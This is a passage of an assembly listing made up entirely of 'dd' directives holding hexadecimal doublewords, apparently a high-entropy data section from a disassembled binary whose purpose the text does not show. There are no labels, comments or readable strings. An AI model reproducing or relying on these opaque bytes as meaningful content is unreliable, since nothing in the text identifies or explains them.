		dd 60FCC40Fh, 0FEBACD77h, 579F64DAh, 0EDE589D2h, 8D36CE04h
		dd 30A2DE67h, 385FE80Ch, 0A3C2268Ah, 0FCC26398h, 0B8941CA7h
		dd 8A23E11Bh, 0B61F3BFDh, 98564D79h, 22AFC263h,	0FFD4705Eh
		dd 854F2B13h, 2BD9F57Bh, 699700C9h, 821ED66Ch, 8176961Eh
		dd 61CE99D9h, 63BE8897h, 557DE1C2h, 8F7324AFh, 0E4616DC9h
		dd 0E8FAC53Bh, 0A36172C6h, 0A7F7B90Ah, 0E2F268CDh, 2D0B7C4Eh
		dd 61FE02C9h, 0CE3989CAh, 0E4E8D740h, 0BFDFDBACh, 7FE8F7DBh
		dd 7041BA65h, 65805988h, 0B221B2BAh, 3FCEB20Eh,	6126FF05h
		dd 658DB61Fh, 0A0F8D69Fh, 0F3F2D6DAh, 4CBA656Bh, 0FAB64C77h
		dd 27CD4756h, 0CE07F99Eh, 0B64EF4E1h, 0BA0AA61Dh, 762DC022h
		dd 23E1A6D6h, 0B0AF1377h, 9BA6597h, 19DB6965h, 2E544390h
		dd 80804CACh, 9C5AB84h,	0A330F9FBh, 6F95411Dh, 5C08BC95h
		dd 66CEC3A5h, 9FFBBDCAh, 0A6F113BBh, 6387A6D2h,	0DBF357C2h
		dd 4F645E29h, 7AA94D71h, 0D3B267B0h, 3A799FEh, 0BFE5B2BBh
		dd 0D0FB9F5Ah, 0C6FDD62Eh, 9714BFC1h, 65EE0600h, 0A42E526Eh
		dd 939BF7A0h, 0BAD4CBF7h, 0A42DB267h, 39CA05F3h, 6F688DB3h
		dd 30FAFFD5h, 0CA4C656Eh, 0BD6A6E0h, 18CFCCA9h,	98380000h
		dd 4CEB260h, 0DFEE1200h, 0D1AD65h, 0EEE808FAh, 0F81AAC56h
		dd 40D2725Ch, 966C9440h, 3BC77D5Ah, 9C669833h, 0BCE30FADh
		dd 15C26008h, 6E123B3Fh, 0C4B4E361h, 1A2AA409h,	6A6307A9h
		dd 4931CD8h, 13C09C78h,	77629EE9h, 4A7627CDh, 0EE99AB26h
		dd 0E8C47477h, 3BB94B84h, 245F8672h, 0D8B8CA5Eh, 5E23F5ECh
		dd 4E854ECAh, 0F9C3749h, 268A39C3h, 24475E8Ah, 0A0CA5Eh
		dd 5E23CDD4h, 269D26CAh, 24475E8Ah, 13A0CA5Eh, 462A0684h
		dd 0FB0A7DB7h, 595816Ah, 8CB0223Eh, 0B47CFBh, 9C0000h
		dd 5E1BCDD4h, 5E8A26CAh, 0CA5E1C47h, 0D7C013A0h, 0AAFEDCC5h
		dd 6AA1913h, 0B0D76D6Ah, 4596E410h, 213DD258h, 0DE678DB7h
		dd 18AFCBF5h, 2F0B791Eh, 0B7C864Bh, 0A94DE2EDh,	0C264027Ah
		dd 0EBD5FED3h, 1FC23CFh, 4C55C264h, 0DFEFCF3Bh,	70080C53h
		dd 0CFB1D642h, 142EA704h, 745D01BFh, 0EA9D36CEh, 0E2EA7092h
		dd 0A9239DBCh, 0D45D97h, 487B0C05h, 24C90468h, 639BA1C0h
		dd 1AA9FAC2h, 32D2FEDAh, 664AF6A1h, 0BE36CE0Ah,	70CEA2F5h
		dd 95CA5D9Eh, 0B5E218B9h, 0D3696905h, 768C4531h, 563A764Dh
		dd 69977372h, 0E4CCBAh,	0BA6996E1h, 2D5A693Ah, 0C212BDDDh
		dd 0CEE2FDE7h, 1FF88B6h, 47C1D8D1h, 11AF24ADh, 0B5E2606Dh
		dd 0DBF55955h, 949A5E29h, 99CA5DD2h, 0D0CFF33Ch, 29CA5DD1h
		dd 29852B98h, 5DD2A6BDh, 0E5B2FFCAh, 1E398925h,	0B0062716h
		dd 93255D2Ah, 8B462A86h, 0E5B27B79h, 77D3B7D3h,	0C65FA55Fh
		dd 5DB30322h, 40475CCAh, 5BA0A2B8h, 696509D2h, 0F19119DBh
		dd 33464A08h, 9030A330h, 615FE1ECh, 5FEA6E75h, 8DFAC7C2h
		dd 47AB0FABh, 0C25FEA18h, 49376071h, 143878B2h,	920087B9h
		dd 47DF26AEh, 14FFDA22h, 0AE129183h, 0F8FC00D2h, 249AC92Fh
		dd 25B1CA5Eh, 664CE51Fh, 0D034C80Ah, 0CABBCCF7h, 615799Bh
		dd 694691EDh, 99FED56Fh, 34EE6h, 0AD264A00h, 0ECD45D97h
		dd 0DE23D908h, 0F6A132C9h, 606E1226h, 5CFB3E4h,	0DA1A20B1h
		dd 121A8251h, 0B2E55F6Eh, 0E206AA06h, 0CA5E23C3h, 6799341Ch
		dd 880FC48Dh, 5E23EEF0h, 7E834BCAh, 0C65FB22h, 0B8428FF1h
		dd 0FE24733Ch, 35834B75h, 0FAD7B24Ch, 1276A6F1h, 0B8DF656Eh
		dd 0CC8A408h, 3771A3F4h, 0EBE387AFh, 85129B59h,	0B7C2128Fh
		dd 1738B295h, 0C57CE853h, 0E1F28DF2h, 0AC04D4B6h, 0ECB0231Dh
		dd 0E3616E12h, 3BFF8821h, 50EAE783h, 1DC5547h, 0AE1292FAh
		dd 5E241B4Ah, 755F74CAh, 575DF9BCh, 0A1602767h,	4AAE12D7h
		dd 0CA5E241Bh, 55385F74h, 8957974h, 0BFA7h, 41A50900h
		dd 0C75E2422h, 44FED37Bh, 1214088Fh, 241B4AAEh,	5F74CA5Eh
		dd 688CB621h, 6D2B8DFh,	9C982102h, 13C08372h, 0FC06D1ADh
		dd 5E4E77C8h, 3562B890h, 4AAE125Fh, 0CA5E241Bh,	88385F74h
		dd 5E24425Ch, 2CBB9FCAh, 4E3912F2h, 41C00C74h, 6933983Ah
		dd 0B64E85D9h, 12E6A61Dh, 244729C2h, 6918853h, 344E563Ah
		dd 4C4274Eh, 127D9FE8h,	0B8DF656Eh, 2EA431C8h, 372E9A16h
		dd 90CA5E24h, 4C309043h, 0A9828282h, 0C212BEDEh, 0A923527Ch
		dd 0D45D97h, 0D9BE6048h, 3EFCBEFh, 0CA5D24DCh, 0F91B6C35h
		dd 1B4AAE12h, 74CA5E24h
		dd 9347385Fh, 69000000h, 7138CD05h, 0D09F782Ah,	0B3E9AE25h
		dd 15A4FCDCh, 23C5DC08h, 951ECA5Eh, 0EEDAC63Eh,	0CA5E23F7h
		dd 84508350h, 875D92DEh, 446C5771h, 592AA28h, 626E120Fh
		dd 0A703B5E2h, 23C0DF03h, 8819CA5Eh, 246779FFh,	0FCC4CA5Eh
		dd 55AFB120h, 0C1E69AAh, 2C717054h, 0F9CACA5Dh,	1ECAE6CAh
		dd 0CA5D2C07h, 50445360h, 3BD28A12h, 3463B902h,	2060F242h
		dd 0DC758F89h, 6E12A5E7h, 0F4E0E064h, 0CA5E23EDh, 360A7D46h
		dd 5BE9E68Ah, 24727155h, 0F6CBCA5Eh, 0C2128B91h, 9946B99h
		dd 0C80967C6h, 41206532h, 0B2089511h, 94h, 0A75D7AD6h
		dd 93C8421Dh, 9700EBA4h, 0FA01DC85h, 4AAE1292h,	0CA5E241Bh
		dd 3FC10C74h, 0B0D7ECC5h, 5D0AC10h, 0F0142CA8h,	0BF886C57h
		dd 23FE20D8h, 3F5BCA5Eh, 5E248C93h, 0ABDCE5CAh,	0DD676F0Fh
		dd 48577B17h, 0A1CA5E24h, 0B010C310h, 1DAC01CCh, 7B48E123h
		dd 0C212080Ch, 0E5F2414Bh, 0B80CA55Fh, 0EF91DE8Bh, 0E975DE7h
		dd 77D3B789h, 854EA660h, 0AE120212h, 5E241B4Ah,	385F74CAh
		dd 2A728A48h, 0E0646E12h, 44FC8B24h, 8FD134h, 8BEF0000h
		dd 0C5D7C042h, 0E0646E12h, 6FC8B24h, 46FCD537h,	12AE25AEh
		dd 0A0E0646Eh, 997B0C34h, 1B4AAE12h, 74CA5E24h,	5C88385Fh
		dd 0CA5E2442h, 9E13BB9Fh, 58F11331h, 5A061C6Bh,	5E24776Eh
		dd 7D03D0CAh, 0A020B351h, 4FEE17BCh, 122002B1h,	3E5E299Ah
		dd 1B4AAE12h, 74CA5E24h, 2488385Fh, 22758F48h, 0B1C212F2h
		dd 0FFCFAC33h, 0AA1913AAh, 0FA379BDDh, 5D86D7CEh, 30A330CAh
		dd 626E126Ch, 15BE788Fh, 0BEE2BE82h, 5E240B1Ah,	484F64CAh
		dd 0AAC21254h, 80BA51A8h, 5519AB84h, 778D4AB3h,	781FB47Dh
		dd 0FFFC8D87h, 0DC5A9FFh, 128C90F7h, 22E2626Eh,	2E0CFE89h
		dd 4327832Dh, 8CB6218Eh, 0A3F4BD37h, 5C1152CDh,	2CDB1D2h
		dd 16AB9700h, 0E91BB69Ah, 0B6FEA29Eh, 4265D242h, 0E1FB0399h
		dd 3714B178h, 0D2FDFB8Ch, 0FBAAB91Dh, 0AE03C260h, 0C8FB01D2h
		dd 0AEE5D8E8h, 33A705ACh, 660AA664h, 9019DB69h,	0DF370307h
		dd 39774CF6h, 10E04D55h, 20B46E7Dh, 9FE837B2h, 60E9CAD9h
		dd 913B23C2h, 758FB11Ch, 440DE7DCh, 0ABA1318Fh,	0CD74E457h
		dd 0B1ACB31Fh, 0BC05C260h, 18048007h, 1D6A9A34h, 60B14E53h
		dd 7D5CE7C2h, 0EEF5E1BDh, 47C260B0h, 4390AA27h,	0F2203154h
		dd 30B30268h, 0D5000000h, 9493F7CDh, 0D1BC0838h, 0E4B8DFB6h
		dd 5E24174Ah, 0C3DA76CAh, 7522AB49h, 69634883h,	0A8C4ECD7h
		dd 882152Fh, 19FE7h, 0A9254900h, 1228EC9Bh, 24E0646Eh
		dd 3406FC8Bh, 6B2C9828h, 8A23E163h, 67745D3Ah, 0DBF8545Ch
		dd 1ECA7621h, 0D257FE7Ch, 76DAD6EBh, 0E1DFA85Ch, 0D36A1BDh
		dd 3745B6D4h, 688C3753h, 0FC8B8DFh, 0E70D37A2h,	0CA19155Fh
		dd 774C5D62h, 96FAB64Ch, 63CD3332h, 50378CC2h, 8E4AA730h
		dd 1EB57E76h, 0F311BEA2h, 0A2C12511h, 0FBC263CDh, 126A1DA6h
		dd 788C4A26h, 2D34A07Ch, 86C263CDh, 901863Dh, 0B4AB172Fh
		dd 1FC263CDh, 22482A13h, 1AAA088Bh, 901EE8D3h, 0E2F1E26Fh
		dd 22C6D6DEh, 0EA11C2A9h, 5BFF9B9Dh, 31C7D072h,	0CA611C9Eh
		dd 56933F1Fh, 65427372h, 0CCF7CCBAh, 8C349F28h,	429DC430h
		dd 0ADF6BA65h, 9EC2DEDAh, 99B21134h, 0ECAD800Bh, 7D0B0D7h
		dd 0D727AFEh, 0B70C1D9Ch, 0BE85A9F9h, 0FC5DCAEh, 8962020Dh
		dd 0F0904322h, 0D9395EE6h, 1EB73895h, 0F315EFE4h, 3FC51165h
		dd 5189EDC5h, 3AA8303Ah, 0DA763A89h, 823E49C3h,	4F56821Eh
		dd 66BA65DFh, 0CAD7DB69h, 0CAFF33BDh, 0CCB0C263h, 0A5950202h
		dd 0CDF60CC9h, 41BC7E3h, 6FB267F3h, 91091974h, 0E8B9F92Dh
		dd 0A1FDA19Fh, 67B82E35h, 4D3A87B2h, 824BA02Bh,	116D5380h
		dd 0ECC53FC5h, 6B4FEF9Bh, 0B83CC60Fh, 0B7DA09EFh, 9E33B267h
		dd 32CC07F9h, 0A6EEAF7Fh, 0B1CE26D6h, 1121h, 60B24A8Ah
		dd 788AB220h, 5BA76178h, 8E84BE13h, 32E06472h, 4D282A4h
		dd 0E2EE1200h, 7D0B062h, 0EEE905FDh, 0A51BBE54h, 60012241h
		dd 19D97BC2h, 0A66CC212h, 5084BE13h, 595C1A85h,	0D43428FBh
		dd 0E21E695Ah, 29E3FAF7h, 5F748E47h, 31D3FD61h,	0EF8DFAD3h
		dd 90AA2743h, 0CCACDB74h, 1F21AC01h, 66700CB4h,	0AF58FADFh
		dd 0DEF538E1h, 82FA8D26h, 2CC87C56h, 7D698450h,	0CA5D4E66h
		dd 23E1F2BFh, 8AC722A1h, 0A74B6F11h, 0CA5D4E78h, 4DFC23CFh
		dd 4C55CA5Dh, 0B32A5D66h, 0BFB80838h, 70A9C6F1h, 18ABEAACh
		dd 374B09ACh, 48A53050h, 0DB4A778Eh, 4B3277CFh,	20B37C78h
		dd 86724EF2h, 0CA5E025Fh, 0FA540FCAh, 7C366CACh, 3C2D6027h
		dd 900595FDh, 58826140h, 0A5F2CD2Ch, 98D2h, 0BD1A3600h
		dd 0B3E46D87h, 0FEFEDCE1h, 17EADD57h, 0ED58C268h, 5B9D7F53h
		dd 39555B68h, 9B38B915h, 0B90AA361h, 41602ACEh,	0E5EDD258h
		dd 0F0DE851Dh, 0E5D5C2ABh, 0A097CFDDh, 0D102DACCh, 0F827CBEFh
		dd 51C2640Bh, 0F3FC7A81h, 0DB6891Ah, 3A16027Ah,	0C58E669Eh
		dd 3E031ED2h, 0B022C263h, 428C688Ch, 444142C2h,	724EA8A5h
		dd 80E1C562h, 7017C0A1h, 7E46F6F5h, 173E16ABh, 2F5E29C5h
		dd 26F013Eh, 5FE5EE92h,	0D7C738h, 85E90000h, 753DB74Dh
		dd 0FEDB5C3Ah, 8EF9CACBh, 646E128Eh, 548C24E0h,	70C4C381h
		dd 7E8413C0h, 783CB0BCh, 21E19853h, 8C378CB6h, 0C1DAC024h
		dd 9BBFD257h, 0BC861133h, 0BB083894h, 0C37959F5h, 308C28D4h
		dd 63839DC4h, 0DAADF6C2h, 0AF11339Eh, 2023CCBh,	3F98142Ah
		dd 0AB9FBC5h, 4D310D7Dh, 0AD867E84h, 0FE339EDAh, 63C5CBDAh
		dd 4FF5E2C2h, 0D961CB5h, 0C6203FA3h, 2879C263h,	9E39159Bh
		dd 0BA3AC011h, 47B5E2F1h, 3EF80F6Bh, 689AEDC6h,	1692CAD2h
		dd 6F95AF29h, 2058EED6h, 0EFE41EB7h, 5280DCE4h,	0BFDBDDAAh
		dd 1EF789EFh, 3947542h,	5DD9EB6Dh, 0D8F458CAh, 9403CC28h
		dd 0C7DE0AA6h, 20BA69B2h, 1C804093h, 69B3A9B8h,	0E6B102BAh
		dd 0EEE8842Ch, 82159E56h, 661E1792h, 6433C90Ah,	43909C1Eh
		dd 865B9A6Ch, 0C2102FA5h, 0C8478825h, 3899B5FBh, 7A39502h
		dd 0B0D76963h, 57558648h, 6A6703D2h, 576904D0h,	8013DAE8h
		dd 78972B17h, 3B2FBD13h, 187B2140h, 962D62E7h, 0D03B832Dh
		dd 0BDB6DD39h, 9C800186h, 922D3314h, 0D4C36569h, 0D9B3A81Ch
		dd 2FE9B982h, 0B64E841Fh, 0D323610Eh, 0E42022ADh, 74463C4Bh
		dd 3D86BE14h, 0C7E82B73h, 0D6227515h, 0BABA52D7h, 880FC429h
		dd 5C78D4B8h, 857F8551h, 54DD17ACh, 0EDDBAD43h,	84E809E6h
		dd 764FB54Fh, 20A03111h, 2572923Ch, 53B38557h, 0B6FAC97Bh
		dd 7F083C9Ah, 6A81DDC1h, 0F57B54B0h, 1CA2AD8h, 452E296h
		dd 0EF8B01EDh, 10995BE5h, 0CAE6BB87h, 0DD172DA6h, 0D9754354h
		dd 9DA131FEh, 23A0D632h, 496F7682h, 0E7DAF1F8h,	84E0B278h
		dd 0D9EBB8FAh, 0A423D95Ah, 0CDF3E06Dh, 0D91B21B1h, 0A231D3FDh
		dd 7E5995F5h, 5017EDC4h, 66BE9716h, 0DD879h, 69934100h
		dd 0C77D5599h, 6AA4333Bh, 0C17B5898h, 0A3A12D51h, 97BDE56Fh
		dd 0F10D053Fh, 0C9A55DE7h, 0E40CF60Ch, 1CAB57E9h, 0FE2D34A0h
		dd 0F086C25Fh, 0FD07D22Ch, 13A97B3h, 0CCF5E17Ch, 30576CC7h
		dd 1811A8D4h, 0B443D850h, 23B17A7Ah, 4E852449h,	4CB96272h
		dd 8672E874h, 0E1779101h, 8BB4985h, 199E18A8h, 0E66B25E5h
		dd 0E5EF232Dh, 3A945527h, 7261EA0Ah, 1CAF1325h,	9BD25B18h
		dd 9CEB15BFh, 0EC10C29Eh
		dd 2C943F08h, 869B47A4h, 0CABD0E3Bh, 0E8EA8632h, 0A6354354h
		dd 0E265356Ch, 1070C6AEh, 0D34E3h, 0D379D00h, 23D9F9F5h
		dd 3EF80FEFh, 1D27ACD4h, 37CD09E5h, 7BD9F9CBh, 1D61B153h
		dd 7D8191B3h, 2060B250h, 0D0778BB5h, 0FCD908ECh, 5432C25Fh
		dd 0EAFEDC40h, 5E23E7FEh, 4D7340CAh, 5E247AA9h,	0D5FED3CAh
		dd 0BE788FEBh, 0E7C3E7D9h, 2EBA7483h, 0CA5E2437h, 9C544390h
		dd 0D25C11EDh, 0B7AE1A76h, 10C26037h, 26DE6670h, 678D368Dh
		dd 1D27AFCBh, 37494ED7h, 8A8413A0h, 6F8E6839h, 0ED47C6AEh
		dd 0CB010h, 81BB1900h, 0DF656D91h, 82BC4B33h, 0D9637090h
		dd 7B894529h, 0BF95BD87h, 0D915ED17h, 0B1CD45FFh, 0CF41E24h
		dd 4D33FC1h, 0FD150CB8h, 186EC25Fh, 25C21204h, 0A6C2205Fh
		dd 0DD7B8FF8h, 3EB64C89h, 758FB522h, 0D4DCE7DCh, 83894B8h
		dd 5D82C1E0h, 0FE891ACAh, 70F39642h, 3282D25Bh,	0AEA9568Eh
		dd 3D9AD69Ah, 3364ED07h, 1A763A87h, 5F2EB7AEh, 4CEC2h
		dd 11339EC2h, 1E695AF3h, 796BA66h, 395EE70Dh, 0BE77B047h
		dd 382C43B4h, 758F4828h, 0BF9B535Eh, 0DA3AC6AEh, 0C14FDh
		dd 0AD577D00h, 83B91955h, 0DE586F8Fh, 7D874C34h, 0D76D6985h
		dd 0DB79992Bh, 0BDC151F3h, 0DD21F113h, 0C0C052F0h, 3017EB15h
		dd 0FC39688Ch, 0F492C25Fh, 656E1220h, 0FB8C25DFh, 0F4DDD2FDh
		dd 0A61DB64Eh, 0DA6A660Ah, 5B634FADh, 3A9E00E5h, 0CA5DCD2Bh
		dd 10A52F84h, 394750DDh, 7EA5519Eh, 95CA5DFBh, 0C7A70B39h
		dd 0F5DEF50Fh, 0DB6B03CBh, 7252CCE8h, 3AEE7F62h, 7720B816h
		dd 5CE6F10Dh, 0F113BC98h, 19D04F13h, 0C4279E3Ch, 0BE149934h
		dd 0D7733D86h, 0EAC341FBh, 8151ED9Dh, 0CBA652h,	5D9BECC5h
		dd 0AF547D72h, 1D94247Fh, 0AC487B4Ch, 0C7FC04D0h, 3E98B4FCh
		dd 3265EE06h, 0B5E6EECAh, 531786Fh, 632140A4h, 297ACA5Dh
		dd 0F4F92A9Ah, 0EDE5AF24h, 0E7CCD69Ah, 0EFE9CA5Dh, 8C3AF55h
		dd 0BB4AFEF6h, 9A413320h, 0A8AFFF3Fh, 7D8BBDC3h, 0C10CEC9Bh
		dd 4531A240h, 134C788Ah, 547F0123h, 52814AAAh, 3FC6126Eh
		dd 1316E221h, 395E7568h, 0B53A95D9h, 3F08EC26h,	82502C94h
		dd 3A9E7A7Ah, 0CA5D552Bh, 0F3A42F84h, 0AD11AD89h, 5D551A49h
		dd 9A5E73CAh, 0CA5D558Bh, 0B8C8CFE4h, 0BC44901Dh, 36C5A907h
		dd 682FF8FCh, 3EAA06AAh, 0CA5D5527h, 1E643380h,	4D318F9Ch
		dd 5C836F80h, 0B5CA5D55h, 10B0D7ECh, 576B8AE4h,	0A82347D2h
		dd 2D51F196h, 912FA49Eh, 0C411DEEDh, 0D66F953Eh, 436753B1h
		dd 633E809Fh, 0BFC8D9C2h, 633E2639h, 7CB645C2h,	0CF715C78h
		dd 0E4201AB1h, 0B47A223h, 0C4E43477h, 0B55182BFh, 0DC566509h
		dd 5D088F18h, 5BF6BE7Eh, 0CEB6FE92h, 93AD2848h,	0DEAFD871h
		dd 26F678Fh, 0A19BDE1h,	63C26336h, 94B6494Eh, 0B6000000h
		dd 1B4AAE12h, 32CA5E24h, 8D169CA0h, 9D57E9E3h, 0B97F8314h
		dd 1F3706B1h, 0D6EDD0B9h, 79EEB6DAh, 65292C6Eh,	83B91957h
		dd 19DFA881h, 0D2577B3Bh, 7D874C30h, 1DA3300Ah,	49CA395h
		dd 0E1A62828h, 0C4D37723h, 7621AA4Ah, 6230DF02h, 30D4FEC2h
		dd 132AA8D4h, 0D5E27F85h, 0C0448FCAh, 0EE063E94h, 706B7265h
		dd 0D77323E3h, 0D3BF45FFh, 631BF0EFh, 4B7849C2h, 0FA4AA13Ch
		dd 0BACD4756h, 6E8D9ACBh, 4192EE02h, 277039BBh,	1F258h
		dd 594B800h, 12987C0Bh,	0E0E0646Eh, 5E23EDF4h, 0A7D46CAh
		dd 5F61E3EEh, 682FD1FBh, 2BB0009Ch, 0D7FC422Bh,	676F91F6h
		dd 6077D3DDh, 3B854EA6h, 5D4E8897h, 0C7D0E1CAh,	8CB6213Dh
		dd 455C8824h, 9ECA5D4Eh, 1EFA8215h, 896B9142h, 2EA9D7C0h
		dd 4DCED501h, 4727CA5Dh, 0B68F758Fh, 96FAB60Dh,	5D4E3332h
		dd 50378CCAh, 0DCB6FEC2h, 6E01FF18h, 964E2275h,	6FCA5D6Bh
		dd 0DFEEC30Bh, 0D7296E65h, 5AE4EFFCh, 0B9959969h, 430CE822h
		dd 44A92454h, 0B57E768Eh, 4A12A21Eh, 0FEA5A55Ah, 6E4AB2E5h
		dd 0CC7FA652h, 3D96CA5Dh, 5E64ED07h, 0CC8F9642h, 0DBE8CA5Dh
		dd 0CD6B9FE8h, 0CC160DB9h, 626FCA5Dh, 876B4F71h, 0CA5DCC58h
		dd 0D5DD676Fh, 0A1FDBBCCh, 0E27A8911h, 30570F9Dh, 57D4C2C8h
		dd 2EA3C7D2h, 0EAB78314h, 172DAAC6h, 0C74354DDh, 1FC3E7h
		dd 59C263B2h, 657C6848h, 0BEC263B2h, 0DA60A2F5h, 0CBB56F7Eh
		dd 2FF8FC06h, 0DC801CA4h, 0AF494EF6h, 0CA60F2EDh, 1B29A6CAh
		dd 7B4750D9h, 0C2268A26h, 0BA6672A3h, 313094FCh, 8ABA6672h
		dd 3BFD8A39h, 0A0C74F5Fh, 0FE4FAF9Ch, 0D7EDB15Bh, 0F4A380DFh
		dd 243BCA04h, 0EF1316Ah, 9AF6BA09h, 6689372Eh, 544390BAh
		dd 7D56FAB6h, 16C0C0C7h, 0D8FC319Bh, 0BA6688C9h, 0C2429122h
		dd 15C7DAE9h, 0C0CEA81Dh, 8477360h, 20B00000h, 0CC06EA18h
		dd 17A6CA38h, 0C809E51Dh, 36A0E032h, 3052040Eh,	689AAA24h
		dd 5EB44C88h, 838FB522h, 64AE507Bh, 849B4775h, 0DDC25FF8h
		dd 0AE127387h, 5E241B4Ah, 755F74CAh, 875F9FBEh,	2C4C3B62h
		dd 7B854FA2h, 3D0B079h,	8AE6CAF9h, 43CFB84Ch, 0ACB31F7Bh
		dd 5CA5DBFh, 22ADCBBCh,	40002CDh, 3418982Bh, 746B579Ah
		dd 0CDCA5DBFh, 4AC8CF04h, 0E0C90A66h, 1EA74DF7h, 12B2E2B5h
		dd 17721CC2h, 7F08DFC4h, 7F59AD8Bh, 0A663FC5h, 0F7D034C8h
		dd 0F8C8E4CCh, 6560DCFh, 0D99FE8A2h, 0D25808FBh, 4BC5E0F0h
		dd 0CF03417Ch, 54AAFAC8h, 6B2A7FCDh, 438B359Eh,	0AA610364h
		dd 0C73562A6h, 639EF823h, 81BB17C2h, 0AD7A5783h, 639F1A49h
		dd 755E73C2h, 0EF73B78Fh, 0E5B05F78h, 9A6A81F8h, 3BBB083Ch
		dd 0C9D96980h, 813E7855h, 0B9F49482h, 0E1880553h, 0F160A5F2h
		dd 0C3026F75h, 87102AA7h, 1ADF8h, 9E341800h, 0FC58E66h
		dd 8D765921h, 34682F52h, 0A95BC212h, 0C3F4E156h, 1729A4D4h
		dd 0B31D41DDh, 0ADDA7391h, 23AE03CBh, 0B20EB221h, 20202CEh
		dd 67A0BF29h, 0A8F9CA5Dh, 157925DFh, 5D67B2B1h,	0D1B60BCAh
		dd 5D6B3727h, 0E805D0CAh, 5D61E5FCh, 5E753ECAh,	0BF6A5262h
		dd 0CFA7CF45h, 791E24B1h, 9D391519h, 869D4967h,	0DFCA5D3Ch
		dd 18B3C5D2h, 1FB70493h, 3D861FE5h, 8C462A86h, 0B6B47C78h
		dd 0FD33D506h, 2DD7C013h, 9AC92D91h, 0F3CA5D8Ah, 0B9AA04DFh
		dd 0F0E36FDBh, 0D4D563A7h, 2BF6E4ECh, 570A37B5h, 0A42C9030h
		dd 6893B354h, 17BCC40Dh, 593E07EDh, 5788A99Fh, 0D626AED2h
		dd 47F1196Eh, 4C744E39h, 634B79A8h, 0A792E4C2h,	0ECA3651h
		dd 0CB41FB4h, 0B8DF5970h, 0DDFA565Ah, 9304CD27h, 0E0E0E96Fh
		dd 571480D0h, 0F2A58FE1h, 0CC066A46h, 35A0BC38h, 7360E90Bh
		dd 0D5334C24h, 0F2CECA60h, 665ADF06h, 29DBF6BAh, 57EDE589h
		dd 3F1F1B6Ch, 555B6892h, 0E394F24Dh, 2CBB1A52h,	8A3912F2h
		dd 0B71F3BFDh, 5A69A33Ah, 0F9F44E56h, 0F7F0EFD3h, 7849BA66h
		dd 0CA3EDC4Ch, 0D714DBDh, 0EAC341C3h, 0BE735B9Dh, 66B30B1Ah
		dd 983C64BAh, 0BA66B389h, 0D102D1E2h, 0A7F318E0h, 7663BDCEh
		dd 5E5h, 947E864Eh, 34DE666Ch, 8F83BD4Ch, 2AD8626Fh, 867C8846h
		dd 10BE96C0h, 0F6E21EF4h, 13BCC44Eh, 0F2DD21F1h, 0A917C250h
		dd 5FF6263Dh, 15E57FC2h, 120004D2h, 8084522Eh, 9CDCAB84h
		dd 81B11031h, 2DF0C708h, 0A8C46C96h, 55DE162Eh,	0AE125242h
		dd 5E241B4Ah, 385F74CAh, 50608D48h, 0B809AB32h,	0C9D820F7h
		dd 22CA5D69h, 0E27E4291h, 0BC484FF5h, 0F876D0E0h, 5722674Dh
		dd 7B855030h, 84BE1935h, 93B77713h, 857D0A04h, 0A60AA6B3h
		dd 5D4B2342h
		dd 1E7A8ECAh, 32DC82EDh, 64544390h, 4A877848h, 0EB11790Eh
		dd 31A368D9h, 0B8DF30C7h, 58248640h, 9F3713D2h,	91B31B65h
		dd 0DADDA73h, 0BA1E45B1h, 2A77C263h, 0E4F75B99h, 3C263B9h
		dd 4CF0E2CFh, 50B41FA8h, 6F95AF24h, 0E57269E0h,	75197521h
		dd 63BA5251h, 0D216ABC2h, 0C263B9D3h, 75F0972Ch, 0FEEAC676h
		dd 0C263B9E7h, 0E1247340h, 26FEB70h, 95AF2844h,	1FC36Fh
		dd 59C263C2h, 6B0C7B48h, 65h, 646E12A9h, 5D3B7E0h, 0A71C26B1h
		dd 38C3DD09h, 9020D258h, 34563EEh, 93E604BBh, 0F6463665h
		dd 0B300BACDh, 0DF65710Dh, 7D0A30A1h, 9A3713FFh, 6D746060h
		dd 0C6C26328h, 0BBE68AFDh, 60C26327h, 0E9F8DCC0h, 42C26327h
		dd 9C3F2671h, 0EC14C09Ch, 79FB6A9Bh, 5E0C026Fh,	2C000000h
		dd 6D172EA4h, 8215AB65h, 4AAE1292h, 0CA5E241Bh,	0C0385F74h
		dd 0CA5E249Eh, 0CAE6F3C5h, 0B74D8AE6h, 0A84C743Dh, 0CA5E2479h
		dd 0E29601D2h, 0D25839A4h, 72715539h, 0CBC2640Eh, 20B191F6h
		dd 0F212BCA0h, 0DFB2ACEh, 7F54C264h, 0DAB67A18h, 640DF7EEh
		dd 847050C2h, 0C2640E5Dh, 0B1D6EDB6h, 0EAFEDCEBh, 5E23E7FEh
		dd 607340CAh, 89983C60h, 0E2CA5E24h, 0CEFAC6D1h, 0D2584B80h
		dd 52E8E985h, 0D46E19B2h, 0B0231DACh, 0A93DC010h, 62064434h
		dd 0D96B7A5Eh, 0EFC4C263h, 5C40DCA8h, 63D96978h, 0AD5780C2h
		dd 6F447E47h, 0D94D5028h, 626CC263h, 39BB458Fh,	9A16370h
		dd 895B8AF2h, 0A32B5511h, 1A3B6A8Eh, 3F94C264h,	68E17094h
		dd 7622E471h, 0AE46FEDAh, 0F0EB7225h, 59886C50h, 0B2C2641Ah
		dd 0C6977621h, 9A026F8Bh, 21D3D2F6h, 442CC264h,	3B4C7789h
		dd 4DBCh, 6980DC00h, 5CE765Ch, 3B6126FFh, 0E2626E12h, 24203BB5h
		dd 0DB7FCA5Eh, 473B4CF6h, 8BB91571h, 0CDF3E069h, 0E51F25B1h
		dd 0C99DD84Dh, 0B0230B3Bh, 0D7EDD9E7h, 6CD25779h, 8067C164h
		dd 0CFB8BC42h, 0C27C8BF3h, 0A85A6942h, 0DA6A6408h, 0AE12E7ADh
		dd 5E241B4Ah, 385F74CAh, 84708852h, 0CA5E245Dh,	0C6A7DFC8h
		dd 0D3EF1FEDh, 8FEBD5FEh, 0DD676B78h, 52450EE6h, 0A664A66h
		dd 0F3BC38CCh, 5D8EDE05h, 1D6A37CAh, 5B7CA853h,	0AA2347D2h
		dd 2B53EF98h, 0CD669EA0h, 82EABAF6h, 2E462DEEh,	8B2F1176h
		dd 2B5CE6EFh, 9681824Dh, 10F60F1Dh, 6737794Ah, 2CEA2145h
		dd 0BA748389h, 2C147E09h, 0A7D8750h, 0AA4EE3EEh, 0C25FE87Bh
		dd 0ECD4FFD4h, 0B59EF6E4h, 536A009Dh, 0DF9DEAD9h, 0F7DB3BFDh
		dd 0AE25DFFAh, 6A467D56h, 0E45A195Ah, 57401382h, 7D694569h
		dd 0C2600D66h, 35805CD1h, 0E8CAB1AAh, 0A3895DBh, 62C5F37Dh
		dd 576CCA5Dh, 0F9F4959h, 9B7B3588h, 0AA4AF8D5h,	0E6CA7621h
